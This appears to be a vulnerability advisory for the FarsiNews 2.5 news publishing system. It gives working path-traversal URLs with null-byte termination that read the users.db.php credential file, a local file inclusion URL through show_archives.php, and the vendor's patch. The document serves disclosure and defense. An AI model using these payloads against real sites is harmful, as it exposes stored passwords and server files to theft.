FarsiNews 2.5 Multiple Vulnerabilities
FarsiNews 2.5 Multiple Vulnerabilities
FarsiNews is a News Publishing System That uses Flat
files to store it`s Datas... Farsinews is a persian
and improved translation of CuteNews, AjFork, CuteHack
and CuteSQL...
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visit http://www.farsinewsteam.com
Credit:
The information has been provided by Hamid Ebadi
( Hamid Network Security Team) : admin@xxxxxxxxx
The original article can be found at :
http://hamid.ir/security
Vulnerable Systems:
FarsiNews 2.5 and below (also tested on 2.1)
1)
in FarsiNews if you change the archive value :
http://localhost/index.php?archive=hamid
----------------------------[<error>]---------------------------
Warning:
file([PATH]/data/archives/hamid.news.arch.php):
failed to open stream: No such file or directory in
[PATH]\inc\shows.inc.php on line 642
Warning:
file([PATH]/data/archives/hamid.comments.arch.php):
failed to open stream: No such file or directory in
[PATH]\inc\shows.inc.php on line 686
...[and many other error]
----------------------------[</error>]---------------------------
it means that shows.inc.php try to open
'/archives/hamid.news.arch.php' (and also
'hamid.comments.arch.php') to read it's data .
we can change the archive value to
'/../users.db.php%00' to see all username and password
.
Exploit :
http://localhost/index.php?archive=/../users.db.php%00
http://localhost/Farsi1/index.php?archive=/../[file-to-read]%00
2)
Local file inclusion:
The following URL will cause local file inclusion:
http://localhost/show_archives.php?template=/../../[local-file]%00
farsinews team Patch:
use FarsiNews 2.5.3
and upgrade :
show_news.php
show_archives.php
inc/tempeditor.mdu
more info :
http://forum.farsinewsteam.com/index.php?showtopic=71
http://forum.farsinewsteam.com/index.php?showtopic=76
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